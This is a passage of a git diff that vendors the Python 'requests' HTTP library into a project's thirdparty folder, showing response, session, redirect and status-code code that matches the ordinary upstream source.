When + stream=True is set on the request, this avoids reading the + content at once into memory for large responses. + + .. note:: This method is not reentrant safe. + """ + + pending = None + + for chunk in self.iter_content(chunk_size=chunk_size, decode_unicode=decode_unicode): + + if pending is not None: + chunk = pending + chunk + + if delimiter: + lines = chunk.split(delimiter) + else: + lines = chunk.splitlines() + + if lines and lines[-1] and chunk and lines[-1][-1] == chunk[-1]: + pending = lines.pop() + else: + pending = None + + for line in lines: + yield line + + if pending is not None: + yield pending + + @property + def content(self): + """Content of the response, in bytes.""" + + if self._content is False: + # Read the contents. + if self._content_consumed: + raise RuntimeError( + 'The content for this response was already consumed') + + if self.status_code == 0 or self.raw is None: + self._content = None + else: + self._content = b''.join(self.iter_content(CONTENT_CHUNK_SIZE)) or b'' + + self._content_consumed = True + # don't need to release the connection; that's been handled by urllib3 + # since we exhausted the data. + return self._content + + @property + def text(self): + """Content of the response, in unicode. + + If Response.encoding is None, encoding will be guessed using + ``charset_normalizer`` or ``chardet``. + + The encoding of the response content is determined based solely on HTTP + headers, following RFC 2616 to the letter. If you can take advantage of + non-HTTP knowledge to make a better guess at the encoding, you should + set ``r.encoding`` appropriately before accessing this property. + """ + + # Try charset from content-type + content = None + encoding = self.encoding + + if not self.content: + return str('') + + # Fallback to auto-detected encoding. + if self.encoding is None: + encoding = self.apparent_encoding + + # Decode unicode from given encoding. + try: + content = str(self.content, encoding, errors='replace') + except (LookupError, TypeError): + # A LookupError is raised if the encoding was not found which could + # indicate a misspelling or similar mistake. + # + # A TypeError can be raised if encoding is None + # + # So we try blindly encoding. + content = str(self.content, errors='replace') + + return content + + def json(self, **kwargs): + r"""Returns the json-encoded content of a response, if any. + + :param \*\*kwargs: Optional arguments that ``json.loads`` takes. + :raises simplejson.JSONDecodeError: If the response body does not + contain valid json and simplejson is installed. + :raises json.JSONDecodeError: If the response body does not contain + valid json and simplejson is not installed on Python 3. + :raises ValueError: If the response body does not contain valid + json and simplejson is not installed on Python 2. + """ + + if not self.encoding and self.content and len(self.content) > 3: + # No encoding set. JSON RFC 4627 section 3 states we should expect + # UTF-8, -16 or -32. Detect which one to use; If the detection or + # decoding fails, fall back to `self.text` (using charset_normalizer to make + # a best guess). + encoding = guess_json_utf(self.content) + if encoding is not None: + try: + return complexjson.loads( + self.content.decode(encoding), **kwargs + ) + except UnicodeDecodeError: + # Wrong UTF codec detected; usually because it's not UTF-8 + # but some other 8-bit codec. This is an RFC violation, + # and the server didn't bother to tell us what codec *was* + # used. + pass + return complexjson.loads(self.text, **kwargs) + + @property + def links(self): + """Returns the parsed header links of the response, if any.""" + + header = self.headers.get('link') + + # l = MultiDict() + l = {} + + if header: + links = parse_header_links(header) + + for link in links: + key = link.get('rel') or link.get('url') + l[key] = link + + return l + + def raise_for_status(self): + """Raises :class:`HTTPError`, if one occurred.""" + + http_error_msg = '' + if isinstance(self.reason, bytes): + # We attempt to decode utf-8 first because some servers + # choose to localize their reason strings. If the string + # isn't utf-8, we fall back to iso-8859-1 for all other + # encodings. (See PR #3538) + try: + reason = self.reason.decode('utf-8') + except UnicodeDecodeError: + reason = self.reason.decode('iso-8859-1') + else: + reason = self.reason + + if 400 <= self.status_code < 500: + http_error_msg = u'%s Client Error: %s for url: %s' % (self.status_code, reason, self.url) + + elif 500 <= self.status_code < 600: + http_error_msg = u'%s Server Error: %s for url: %s' % (self.status_code, reason, self.url) + + if http_error_msg: + raise HTTPError(http_error_msg, response=self) + + def close(self): + """Releases the connection back to the pool. Once this method has been + called the underlying ``raw`` object must not be accessed again. + + *Note: Should not normally need to be called explicitly.* + """ + if not self._content_consumed: + self.raw.close() + + release_conn = getattr(self.raw, 'release_conn', None) + if release_conn is not None: + release_conn() diff --git a/thirdparty/requests/packages.py b/thirdparty/requests/packages.py new file mode 100644 index 0000000..00196bf --- /dev/null +++ b/thirdparty/requests/packages.py @@ -0,0 +1,26 @@ +import sys + +try: + import chardet +except ImportError: + import charset_normalizer as chardet + import warnings + + warnings.filterwarnings('ignore', 'Trying to detect', module='charset_normalizer') + +# This code exists for backwards compatibility reasons. +# I don't like it either. Just look the other way. :) + +for package in ('urllib3', 'idna'): + locals()[package] = __import__(package) + # This traversal is apparently necessary such that the identities are + # preserved (requests.packages.urllib3.* is urllib3.*) + for mod in list(sys.modules): + if mod == package or mod.startswith(package + '.'): + sys.modules['requests.packages.' + mod] = sys.modules[mod] + +target = chardet.__name__ +for mod in list(sys.modules): + if mod == target or mod.startswith(target + '.'): + sys.modules['requests.packages.' + target.replace(target, 'chardet')] = sys.modules[mod] +# Kinda cool, though, right? diff --git a/thirdparty/requests/sessions.py b/thirdparty/requests/sessions.py new file mode 100644 index 0000000..ae4bcc8 --- /dev/null +++ b/thirdparty/requests/sessions.py @@ -0,0 +1,781 @@ +# -*- coding: utf-8 -*- + +""" +requests.sessions +~~~~~~~~~~~~~~~~~ + +This module provides a Session object to manage and persist settings across +requests (cookies, auth, proxies). +""" +import os +import sys +import time +from datetime import timedelta +from collections import OrderedDict + +from .auth import _basic_auth_str +from .compat import cookielib, is_py3, urljoin, urlparse, Mapping +from .cookies import ( + cookiejar_from_dict, extract_cookies_to_jar, RequestsCookieJar, merge_cookies) +from .models import Request, PreparedRequest, DEFAULT_REDIRECT_LIMIT +from .hooks import default_hooks, dispatch_hook +from ._internal_utils import to_native_string +from .utils import to_key_val_list, default_headers, DEFAULT_PORTS +from .exceptions import ( + TooManyRedirects, InvalidSchema, ChunkedEncodingError, ContentDecodingError) + +from .structures import CaseInsensitiveDict +from .adapters import HTTPAdapter + +from .utils import ( + requote_uri, get_environ_proxies, get_netrc_auth, should_bypass_proxies, + get_auth_from_url, rewind_body +) + +from .status_codes import codes + +# formerly defined here, reexposed here for backward compatibility +from .models import REDIRECT_STATI + +# Preferred clock, based on which one is more accurate on a given system. +if sys.platform == 'win32': + try: # Python 3.4+ + preferred_clock = time.perf_counter + except AttributeError: # Earlier than Python 3. + preferred_clock = time.clock +else: + preferred_clock = time.time + + +def merge_setting(request_setting, session_setting, dict_class=OrderedDict): + """Determines appropriate setting for a given request, taking into account + the explicit setting on that request, and the setting in the session. If a + setting is a dictionary, they will be merged together using `dict_class` + """ + + if session_setting is None: + return request_setting + + if request_setting is None: + return session_setting + + # Bypass if not a dictionary (e.g. verify) + if not ( + isinstance(session_setting, Mapping) and + isinstance(request_setting, Mapping) + ): + return request_setting + + merged_setting = dict_class(to_key_val_list(session_setting)) + merged_setting.update(to_key_val_list(request_setting)) + + # Remove keys that are set to None. Extract keys first to avoid altering + # the dictionary during iteration. + none_keys = [k for (k, v) in merged_setting.items() if v is None] + for key in none_keys: + del merged_setting[key] + + return merged_setting + + +def merge_hooks(request_hooks, session_hooks, dict_class=OrderedDict): + """Properly merges both requests and session hooks. + + This is necessary because when request_hooks == {'response': []}, the + merge breaks Session hooks entirely. + """ + if session_hooks is None or session_hooks.get('response') == []: + return request_hooks + + if request_hooks is None or request_hooks.get('response') == []: + return session_hooks + + return merge_setting(request_hooks, session_hooks, dict_class) + + +class SessionRedirectMixin(object): + + def get_redirect_target(self, resp): + """Receives a Response. Returns a redirect URI or ``None``""" + # Due to the nature of how requests processes redirects this method will + # be called at least once upon the original response and at least twice + # on each subsequent redirect response (if any). + # If a custom mixin is used to handle this logic, it may be advantageous + # to cache the redirect location onto the response object as a private + # attribute. + if resp.is_redirect: + location = resp.headers['location'] + # Currently the underlying http module on py3 decode headers + # in latin1, but empirical evidence suggests that latin1 is very + # rarely used with non-ASCII characters in HTTP headers. + # It is more likely to get UTF8 header rather than latin1. + # This causes incorrect handling of UTF8 encoded location headers. + # To solve this, we re-encode the location in latin1. + if is_py3: + location = location.encode('latin1') + return to_native_string(location, 'utf8') + return None + + def should_strip_auth(self, old_url, new_url): + """Decide whether Authorization header should be removed when redirecting""" + old_parsed = urlparse(old_url) + new_parsed = urlparse(new_url) + if old_parsed.hostname != new_parsed.hostname: + return True + # Special case: allow http -> https redirect when using the standard + # ports. This isn't specified by RFC 7235, but is kept to avoid + # breaking backwards compatibility with older versions of requests + # that allowed any redirects on the same host. + if (old_parsed.scheme == 'http' and old_parsed.port in (80, None) + and new_parsed.scheme == 'https' and new_parsed.port in (443, None)): + return False + + # Handle default port usage corresponding to scheme. + changed_port = old_parsed.port != new_parsed.port + changed_scheme = old_parsed.scheme != new_parsed.scheme + default_port = (DEFAULT_PORTS.get(old_parsed.scheme, None), None) + if (not changed_scheme and old_parsed.port in default_port + and new_parsed.port in default_port): + return False + + # Standard case: root URI must match + return changed_port or changed_scheme + + def resolve_redirects(self, resp, req, stream=False, timeout=None, + verify=True, cert=None, proxies=None, yield_requests=False, **adapter_kwargs): + """Receives a Response. Returns a generator of Responses or Requests.""" + + hist = [] # keep track of history + + url = self.get_redirect_target(resp) + previous_fragment = urlparse(req.url).fragment + while url: + prepared_request = req.copy() + + # Update history and keep track of redirects. + # resp.history must ignore the original request in this loop + hist.append(resp) + resp.history = hist[1:] + + try: + resp.content # Consume socket so it can be released + except (ChunkedEncodingError, ContentDecodingError, RuntimeError): + resp.raw.read(decode_content=False) + + if len(resp.history) >= self.max_redirects: + raise TooManyRedirects('Exceeded {} redirects.'.format(self.max_redirects), response=resp) + + # Release the connection back into the pool. + resp.close() + + # Handle redirection without scheme (see: RFC 1808 Section 4) + if url.startswith('//'): + parsed_rurl = urlparse(resp.url) + url = ':'.join([to_native_string(parsed_rurl.scheme), url]) + + # Normalize url case and attach previous fragment if needed (RFC 7231 7.1.2) + parsed = urlparse(url) + if parsed.fragment == '' and previous_fragment: + parsed = parsed._replace(fragment=previous_fragment) + elif parsed.fragment: + previous_fragment = parsed.fragment + url = parsed.geturl() + + # Facilitate relative 'location' headers, as allowed by RFC 7231. + # (e.g. '/path/to/resource' instead of 'http://domain.tld/path/to/resource') + # Compliant with RFC3986, we percent encode the url. + if not parsed.netloc: + url = urljoin(resp.url, requote_uri(url)) + else: + url = requote_uri(url) + + prepared_request.url = to_native_string(url) + + self.rebuild_method(prepared_request, resp) + + # https://github.com/psf/requests/issues/1084 + if resp.status_code not in (codes.temporary_redirect, codes.permanent_redirect): + # https://github.com/psf/requests/issues/3490 + purged_headers = ('Content-Length', 'Content-Type', 'Transfer-Encoding') + for header in purged_headers: + prepared_request.headers.pop(header, None) + prepared_request.body = None + + headers = prepared_request.headers + headers.pop('Cookie', None) + + # Extract any cookies sent on the response to the cookiejar + # in the new request. Because we've mutated our copied prepared + # request, use the old one that we haven't yet touched. + extract_cookies_to_jar(prepared_request._cookies, req, resp.raw) + merge_cookies(prepared_request._cookies, self.cookies) + prepared_request.prepare_cookies(prepared_request._cookies) + + # Rebuild auth and proxy information. + proxies = self.rebuild_proxies(prepared_request, proxies) + self.rebuild_auth(prepared_request, resp) + + # A failed tell() sets `_body_position` to `object()`. This non-None + # value ensures `rewindable` will be True, allowing us to raise an + # UnrewindableBodyError, instead of hanging the connection. + rewindable = ( + prepared_request._body_position is not None and + ('Content-Length' in headers or 'Transfer-Encoding' in headers) + ) + + # Attempt to rewind consumed file-like object. + if rewindable: + rewind_body(prepared_request) + + # Override the original request. + req = prepared_request + + if yield_requests: + yield req + else: + + resp = self.send( + req, + stream=stream, + timeout=timeout, + verify=verify, + cert=cert, + proxies=proxies, + allow_redirects=False, + **adapter_kwargs + ) + + extract_cookies_to_jar(self.cookies, prepared_request, resp.raw) + + # extract redirect url, if any, for the next loop + url = self.get_redirect_target(resp) + yield resp + + def rebuild_auth(self, prepared_request, response): + """When being redirected we may want to strip authentication from the + request to avoid leaking credentials. This method intelligently removes + and reapplies authentication where possible to avoid credential loss. + """ + headers = prepared_request.headers + url = prepared_request.url + + if 'Authorization' in headers and self.should_strip_auth(response.request.url, url): + # If we get redirected to a new host, we should strip out any + # authentication headers. + del headers['Authorization'] + + # .netrc might have more auth for us on our new host. + new_auth = get_netrc_auth(url) if self.trust_env else None + if new_auth is not None: + prepared_request.prepare_auth(new_auth) + + + def rebuild_proxies(self, prepared_request, proxies): + """This method re-evaluates the proxy configuration by considering the + environment variables. If we are redirected to a URL covered by + NO_PROXY, we strip the proxy configuration. Otherwise, we set missing + proxy keys for this URL (in case they were stripped by a previous + redirect). + + This method also replaces the Proxy-Authorization header where + necessary. + + :rtype: dict + """ + proxies = proxies if proxies is not None else {} + headers = prepared_request.headers + url = prepared_request.url + scheme = urlparse(url).scheme + new_proxies = proxies.copy() + no_proxy = proxies.get('no_proxy') + + bypass_proxy = should_bypass_proxies(url, no_proxy=no_proxy) + if self.trust_env and not bypass_proxy: + environ_proxies = get_environ_proxies(url, no_proxy=no_proxy) + + proxy = environ_proxies.get(scheme, environ_proxies.get('all')) + + if proxy: + new_proxies.setdefault(scheme, proxy) + + if 'Proxy-Authorization' in headers: + del headers['Proxy-Authorization'] + + try: + username, password = get_auth_from_url(new_proxies[scheme]) + except KeyError: + username, password = None, None + + if username and password: + headers['Proxy-Authorization'] = _basic_auth_str(username, password) + + return new_proxies + + def rebuild_method(self, prepared_request, response): + """When being redirected we may want to change the method of the request + based on certain specs or browser behavior. + """ + method = prepared_request.method + + # https://tools.ietf.org/html/rfc7231#section-6.4.4 + if response.status_code == codes.see_other and method != 'HEAD': + method = 'GET' + + # Do what the browsers do, despite standards... + # First, turn 302s into GETs. + if response.status_code == codes.found and method != 'HEAD': + method = 'GET' + + # Second, if a POST is responded to with a 301, turn it into a GET. + # This bizarre behaviour is explained in Issue 1704. + if response.status_code == codes.moved and method == 'POST': + method = 'GET' + + prepared_request.method = method + + +class Session(SessionRedirectMixin): + """A Requests session. + + Provides cookie persistence, connection-pooling, and configuration. + + Basic Usage:: + + >>> import requests + >>> s = requests.Session() + >>> s.get('https://httpbin.org/get') + + + Or as a context manager:: + + >>> with requests.Session() as s: + ... s.get('https://httpbin.org/get') + + """ + + __attrs__ = [ + 'headers', 'cookies', 'auth', 'proxies', 'hooks', 'params', 'verify', + 'cert', 'adapters', 'stream', 'trust_env', + 'max_redirects', + ] + + def __init__(self): + + #: A case-insensitive dictionary of headers to be sent on each + #: :class:`Request ` sent from this + #: :class:`Session `. + self.headers = default_headers() + + #: Default Authentication tuple or object to attach to + #: :class:`Request `. + self.auth = None + + #: Dictionary mapping protocol or protocol and host to the URL of the proxy + #: (e.g. {'http': 'foo.bar:3128', 'http://host.name': 'foo.bar:4012'}) to + #: be used on each :class:`Request `. + self.proxies = {} + + #: Event-handling hooks. + self.hooks = default_hooks() + + #: Dictionary of querystring data to attach to each + #: :class:`Request `. The dictionary values may be lists for + #: representing multivalued query parameters. + self.params = {} + + #: Stream response content default. + self.stream = False + + #: SSL Verification default. + #: Defaults to `True`, requiring requests to verify the TLS certificate at the + #: remote end. + #: If verify is set to `False`, requests will accept any TLS certificate + #: presented by the server, and will ignore hostname mismatches and/or + #: expired certificates, which will make your application vulnerable to + #: man-in-the-middle (MitM) attacks. + #: Only set this to `False` for testing. + self.verify = True + + #: SSL client certificate default, if String, path to ssl client + #: cert file (.pem). If Tuple, ('cert', 'key') pair. + self.cert = None + + #: Maximum number of redirects allowed. If the request exceeds this + #: limit, a :class:`TooManyRedirects` exception is raised. + #: This defaults to requests.models.DEFAULT_REDIRECT_LIMIT, which is + #: 30. + self.max_redirects = DEFAULT_REDIRECT_LIMIT + + #: Trust environment settings for proxy configuration, default + #: authentication and similar. + self.trust_env = True + + #: A CookieJar containing all currently outstanding cookies set on this + #: session. By default it is a + #: :class:`RequestsCookieJar `, but + #: may be any other ``cookielib.CookieJar`` compatible object. + self.cookies = cookiejar_from_dict({}) + + # Default connection adapters. + self.adapters = OrderedDict() + self.mount('https://', HTTPAdapter()) + self.mount('http://', HTTPAdapter()) + + def __enter__(self): + return self + + def __exit__(self, *args): + self.close() + + def prepare_request(self, request): + """Constructs a :class:`PreparedRequest ` for + transmission and returns it. The :class:`PreparedRequest` has settings + merged from the :class:`Request ` instance and those of the + :class:`Session`. + + :param request: :class:`Request` instance to prepare with this + session's settings. + :rtype: requests.PreparedRequest + """ + cookies = request.cookies or {} + + # Bootstrap CookieJar. + if not isinstance(cookies, cookielib.CookieJar): + cookies = cookiejar_from_dict(cookies) + + # Merge with session cookies + merged_cookies = merge_cookies( + merge_cookies(RequestsCookieJar(), self.cookies), cookies) + + # Set environment's basic authentication if not explicitly set. + auth = request.auth + if self.trust_env and not auth and not self.auth: + auth = get_netrc_auth(request.url) + + p = PreparedRequest() + p.prepare( + method=request.method.upper(), + url=request.url, + files=request.files, + data=request.data, + json=request.json, + headers=merge_setting(request.headers, self.headers, dict_class=CaseInsensitiveDict), + params=merge_setting(request.params, self.params), + auth=merge_setting(auth, self.auth), + cookies=merged_cookies, + hooks=merge_hooks(request.hooks, self.hooks), + ) + return p + + def request(self, method, url, + params=None, data=None, headers=None, cookies=None, files=None, + auth=None, timeout=None, allow_redirects=True, proxies=None, + hooks=None, stream=None, verify=None, cert=None, json=None): + """Constructs a :class:`Request `, prepares it and sends it. + Returns :class:`Response ` object. + + :param method: method for the new :class:`Request` object. + :param url: URL for the new :class:`Request` object. + :param params: (optional) Dictionary or bytes to be sent in the query + string for the :class:`Request`. + :param data: (optional) Dictionary, list of tuples, bytes, or file-like + object to send in the body of the :class:`Request`. + :param json: (optional) json to send in the body of the + :class:`Request`. + :param headers: (optional) Dictionary of HTTP Headers to send with the + :class:`Request`. + :param cookies: (optional) Dict or CookieJar object to send with the + :class:`Request`. + :param files: (optional) Dictionary of ``'filename': file-like-objects`` + for multipart encoding upload. + :param auth: (optional) Auth tuple or callable to enable + Basic/Digest/Custom HTTP Auth. + :param timeout: (optional) How long to wait for the server to send + data before giving up, as a float, or a :ref:`(connect timeout, + read timeout) ` tuple. + :type timeout: float or tuple + :param allow_redirects: (optional) Set to True by default. + :type allow_redirects: bool + :param proxies: (optional) Dictionary mapping protocol or protocol and + hostname to the URL of the proxy. + :param stream: (optional) whether to immediately download the response + content. Defaults to ``False``. + :param verify: (optional) Either a boolean, in which case it controls whether we verify + the server's TLS certificate, or a string, in which case it must be a path + to a CA bundle to use. Defaults to ``True``. When set to + ``False``, requests will accept any TLS certificate presented by + the server, and will ignore hostname mismatches and/or expired + certificates, which will make your application vulnerable to + man-in-the-middle (MitM) attacks. Setting verify to ``False`` + may be useful during local development or testing. + :param cert: (optional) if String, path to ssl client cert file (.pem). + If Tuple, ('cert', 'key') pair. + :rtype: requests.Response + """ + # Create the Request. + req = Request( + method=method.upper(), + url=url, + headers=headers, + files=files, + data=data or {}, + json=json, + params=params or {}, + auth=auth, + cookies=cookies, + hooks=hooks, + ) + prep = self.prepare_request(req) + + proxies = proxies or {} + + settings = self.merge_environment_settings( + prep.url, proxies, stream, verify, cert + ) + + # Send the request. + send_kwargs = { + 'timeout': timeout, + 'allow_redirects': allow_redirects, + } + send_kwargs.update(settings) + resp = self.send(prep, **send_kwargs) + + return resp + + def get(self, url, **kwargs): + r"""Sends a GET request. Returns :class:`Response` object. + + :param url: URL for the new :class:`Request` object. + :param \*\*kwargs: Optional arguments that ``request`` takes. + :rtype: requests.Response + """ + + kwargs.setdefault('allow_redirects', True) + return self.request('GET', url, **kwargs) + + def options(self, url, **kwargs): + r"""Sends a OPTIONS request. Returns :class:`Response` object. + + :param url: URL for the new :class:`Request` object. + :param \*\*kwargs: Optional arguments that ``request`` takes. + :rtype: requests.Response + """ + + kwargs.setdefault('allow_redirects', True) + return self.request('OPTIONS', url, **kwargs) + + def head(self, url, **kwargs): + r"""Sends a HEAD request. Returns :class:`Response` object. + + :param url: URL for the new :class:`Request` object. + :param \*\*kwargs: Optional arguments that ``request`` takes. + :rtype: requests.Response + """ + + kwargs.setdefault('allow_redirects', False) + return self.request('HEAD', url, **kwargs) + + def post(self, url, data=None, json=None, **kwargs): + r"""Sends a POST request. Returns :class:`Response` object. + + :param url: URL for the new :class:`Request` object. + :param data: (optional) Dictionary, list of tuples, bytes, or file-like + object to send in the body of the :class:`Request`. + :param json: (optional) json to send in the body of the :class:`Request`. + :param \*\*kwargs: Optional arguments that ``request`` takes. + :rtype: requests.Response + """ + + return self.request('POST', url, data=data, json=json, **kwargs) + + def put(self, url, data=None, **kwargs): + r"""Sends a PUT request. Returns :class:`Response` object. + + :param url: URL for the new :class:`Request` object. + :param data: (optional) Dictionary, list of tuples, bytes, or file-like + object to send in the body of the :class:`Request`. + :param \*\*kwargs: Optional arguments that ``request`` takes. + :rtype: requests.Response + """ + + return self.request('PUT', url, data=data, **kwargs) + + def patch(self, url, data=None, **kwargs): + r"""Sends a PATCH request. Returns :class:`Response` object. + + :param url: URL for the new :class:`Request` object. + :param data: (optional) Dictionary, list of tuples, bytes, or file-like + object to send in the body of the :class:`Request`. + :param \*\*kwargs: Optional arguments that ``request`` takes. + :rtype: requests.Response + """ + + return self.request('PATCH', url, data=data, **kwargs) + + def delete(self, url, **kwargs): + r"""Sends a DELETE request. Returns :class:`Response` object. + + :param url: URL for the new :class:`Request` object. + :param \*\*kwargs: Optional arguments that ``request`` takes. + :rtype: requests.Response + """ + + return self.request('DELETE', url, **kwargs) + + def send(self, request, **kwargs): + """Send a given PreparedRequest. + + :rtype: requests.Response + """ + # Set defaults that the hooks can utilize to ensure they always have + # the correct parameters to reproduce the previous request. + kwargs.setdefault('stream', self.stream) + kwargs.setdefault('verify', self.verify) + kwargs.setdefault('cert', self.cert) + kwargs.setdefault('proxies', self.rebuild_proxies(request, self.proxies)) + + # It's possible that users might accidentally send a Request object. + # Guard against that specific failure case. + if isinstance(request, Request): + raise ValueError('You can only send PreparedRequests.') + + # Set up variables needed for resolve_redirects and dispatching of hooks + allow_redirects = kwargs.pop('allow_redirects', True) + stream = kwargs.get('stream') + hooks = request.hooks + + # Get the appropriate adapter to use + adapter = self.get_adapter(url=request.url) + + # Start time (approximately) of the request + start = preferred_clock() + + # Send the request + r = adapter.send(request, **kwargs) + + # Total elapsed time of the request (approximately) + elapsed = preferred_clock() - start + r.elapsed = timedelta(seconds=elapsed) + + # Response manipulation hooks + r = dispatch_hook('response', hooks, r, **kwargs) + + # Persist cookies + if r.history: + + # If the hooks create history then we want those cookies too + for resp in r.history: + extract_cookies_to_jar(self.cookies, resp.request, resp.raw) + + extract_cookies_to_jar(self.cookies, request, r.raw) + + # Resolve redirects if allowed. + if allow_redirects: + # Redirect resolving generator. + gen = self.resolve_redirects(r, request, **kwargs) + history = [resp for resp in gen] + else: + history = [] + + # Shuffle things around if there's history. + if history: + # Insert the first (original) request at the start + history.insert(0, r) + # Get the last request made + r = history.pop() + r.history = history + + # If redirects aren't being followed, store the response on the Request for Response.next(). + if not allow_redirects: + try: + r._next = next(self.resolve_redirects(r, request, yield_requests=True, **kwargs)) + except StopIteration: + pass + + if not stream: + r.content + + return r + + def merge_environment_settings(self, url, proxies, stream, verify, cert): + """ + Check the environment and merge it with some settings. + + :rtype: dict + """ + # Gather clues from the surrounding environment. + if self.trust_env: + # Set environment's proxies. + no_proxy = proxies.get('no_proxy') if proxies is not None else None + env_proxies = get_environ_proxies(url, no_proxy=no_proxy) + for (k, v) in env_proxies.items(): + proxies.setdefault(k, v) + + # Look for requests environment configuration and be compatible + # with cURL. + if verify is True or verify is None: + verify = (os.environ.get('REQUESTS_CA_BUNDLE') or + os.environ.get('CURL_CA_BUNDLE')) + + # Merge all the kwargs. + proxies = merge_setting(proxies, self.proxies) + stream = merge_setting(stream, self.stream) + verify = merge_setting(verify, self.verify) + cert = merge_setting(cert, self.cert) + + return {'verify': verify, 'proxies': proxies, 'stream': stream, + 'cert': cert} + + def get_adapter(self, url): + """ + Returns the appropriate connection adapter for the given URL. + + :rtype: requests.adapters.BaseAdapter + """ + for (prefix, adapter) in self.adapters.items(): + + if url.lower().startswith(prefix.lower()): + return adapter + + # Nothing matches :-/ + raise InvalidSchema("No connection adapters were found for {!r}".format(url)) + + def close(self): + """Closes all adapters and as such the session""" + for v in self.adapters.values(): + v.close() + + def mount(self, prefix, adapter): + """Registers a connection adapter to a prefix. + + Adapters are sorted in descending order by prefix length. + """ + self.adapters[prefix] = adapter + keys_to_move = [k for k in self.adapters if len(k) < len(prefix)] + + for key in keys_to_move: + self.adapters[key] = self.adapters.pop(key) + + def __getstate__(self): + state = {attr: getattr(self, attr, None) for attr in self.__attrs__} + return state + + def __setstate__(self, state): + for attr, value in state.items(): + setattr(self, attr, value) + + +def session(): + """ + Returns a :class:`Session` for context-management. + + .. deprecated:: 1.0.0 + + This method has been deprecated since version 1.0.0 and is only kept for + backwards compatibility. New code should use :class:`~requests.sessions.Session` + to create a session. This may be removed at a future date. + + :rtype: Session + """ + return Session() diff --git a/thirdparty/requests/status_codes.py b/thirdparty/requests/status_codes.py new file mode 100644 index 0000000..d80a7cd --- /dev/null +++ b/thirdparty/requests/status_codes.py @@ -0,0 +1,123 @@ +# -*- coding: utf-8 -*- + +r""" +The ``codes`` object defines a mapping from common names for HTTP statuses +to their numerical codes, accessible either as attributes or as dictionary +items. + +Example:: + + >>> import requests + >>> requests.codes['temporary_redirect'] + 307 + >>> requests.codes.teapot + 418 + >>> requests.codes['\o/'] + 200 + +Some codes have multiple names, and both upper- and lower-case versions of +the names are allowed. For example, ``codes.ok``, ``codes.OK``, and +``codes.okay`` all correspond to the HTTP status code 200. +""" + +from .structures import LookupDict + +_codes = { + + # Informational. + 100: ('continue',), + 101: ('switching_protocols',), + 102: ('processing',), + 103: ('checkpoint',), + 122: ('uri_too_long', 'request_uri_too_long'), + 200: ('ok', 'okay', 'all_ok', 'all_okay', 'all_good', '\\o/', '✓'), + 201: ('created',), + 202: ('accepted',), + 203: ('non_authoritative_info', 'non_authoritative_information'), + 204: ('no_content',), + 205: ('reset_content', 'reset'), + 206: ('partial_content', 'partial'), + 207: ('multi_status', 'multiple_status', 'multi_stati', 'multiple_stati'), + 208: ('already_reported',), + 226: ('im_used',), + + # Redirection. + 300: ('multiple_choices',), + 301: ('moved_permanently', 'moved', '\\o-'), + 302: ('found',), + 303: ('see_other', 'other'), + 304: ('not_modified',), + 305: ('use_proxy',), + 306: ('switch_proxy',), + 307: ('temporary_redirect', 'temporary_moved', 'temporary'), + 308: ('permanent_redirect', + 'resume_incomplete', 'resume',), # These 2 to be removed in 3.0 + + # Client Error. + 400: ('bad_request', 'bad'), + 401: ('unauthorized',), + 402: ('payment_required', 'payment'), + 403: ('forbidden',), + 404: ('not_found', '-o-'), + 405: ('method_not_allowed', 'not_allowed'), + 406: ('not_acceptable',), + 407: ('proxy_authentication_required', 'proxy_auth', 'proxy_authentication'), + 408: ('request_timeout', 'timeout'), + 409: ('conflict',), + 410: ('gone',), + 411: ('length_required',), + 412: ('precondition_failed', 'precondition'), + 413: ('request_entity_too_large',), + 414: ('request_uri_too_large',), + 415: ('unsupported_media_type', 'unsupported_media', 'media_type'), + 416: ('requested_range_not_satisfiable', 'requested_range', 'range_not_satisfiable'), + 417: ('expectation_failed',), + 418: ('im_a_teapot', 'teapot', 'i_am_a_teapot'), + 421: ('misdirected_request',), + 422: ('unprocessable_entity', 'unprocessable'), + 423: ('locked',), + 424: ('failed_dependency', 'dependency'), + 425: ('unordered_collection', 'unordered'), + 426: ('upgrade_required', 'upgrade'), + 428: ('precondition_required', 'precondition'), + 429: ('too_many_requests', 'too_many'), + 431: ('header_fields_too_large', 'fields_too_large'), + 444: ('no_response', 'none'), + 449: ('retry_with', 'retry'), + 450: ('blocked_by_windows_parental_controls', 'parental_controls'), + 451: ('unavailable_for_legal_reasons', 'legal_reasons'), + 499: ('client_closed_request',), + + # Server Error. + 500: ('internal_server_error', 'server_error', '/o\\', '✗'), + 501: ('not_implemented',), + 502: ('bad_gateway',), + 503: ('service_unavailable', 'unavailable'), + 504: ('gateway_timeout',), + 505: ('http_version_not_supported', 'http_version'), + 506: ('variant_also_negotiates',), + 507: ('insufficient_storage',), + 509: ('bandwidth_limit_exceeded', 'bandwidth'), + 510: ('not_extended',), + 511: ('network_authentication_required', 'network_auth', 'network_authentication'), +} + +codes = LookupDict(name='status_codes') + +def _init(): + for code, titles in _codes.items(): + for title in titles: + setattr(codes, title, code) + if not title.startswith(('\\', '/')): + setattr(codes, title.upper(), code) + + def doc(code): + names = ', '.join('``%s``' % n for n in _codes[code]) + return '* %d: %s' % (code, names) + + global __doc__ + __doc__ = (__doc__ + '\n' + + '\n'.join(doc(code) for code in sorted(_codes)) + if __doc__ is not None else None) + +_init() diff --git a/thirdparty/requests/structures.py b/thirdparty/requests/structures.py new file mode 100644 index 0000000..8ee0ba7 --- /dev/null +++ b/thirdparty/requests/structures.py @@ -0,0 +1,105 @@ +# -*- coding: utf-8 -*- + +""" +requests.structures +~~~~~~~~~~~~~~~~~~~ + +Data structures that power Requests. +""" + +from collections import OrderedDict + +from .compat import Mapping, MutableMapping + + +class CaseInsensitiveDict(MutableMapping): + """A case-insensitive ``dict``-like object. + + Implements all methods and operations of + ``MutableMapping`` as well as dict's ``copy``. Also + provides ``lower_items``. + + All keys are expected to be strings. The structure remembers the + case of the last key to be set, and ``iter(instance)``, + ``keys()``, ``items()``, ``iterkeys()``, and ``iteritems()`` + will contain case-sensitive keys. However, querying and contains + testing is case insensitive:: + + cid = CaseInsensitiveDict() + cid['Accept'] = 'application/json' + cid['aCCEPT'] == 'application/json' # True + list(cid) == ['Accept'] # True + + For example, ``headers['content-encoding']`` will return the + value of a ``'Content-Encoding'`` response header, regardless + of how the header name was originally stored. + + If the constructor, ``.update``, or equality comparison + operations are given keys that have equal ``.lower()``s, the + behavior is undefined. + """ + + def __init__(self, data=None, **kwargs): + self._store = OrderedDict() + if data is None: + data = {} + self.update(data, **kwargs) + + def __setitem__(self, key, value): + # Use the lowercased key for lookups, but store the actual + # key alongside the value. + self._store[key.lower()] = (key, value) + + def __getitem__(self, key): + return self._store[key.lower()][1] + + def __delitem__(self, key): + del self._store[key.lower()] + + def 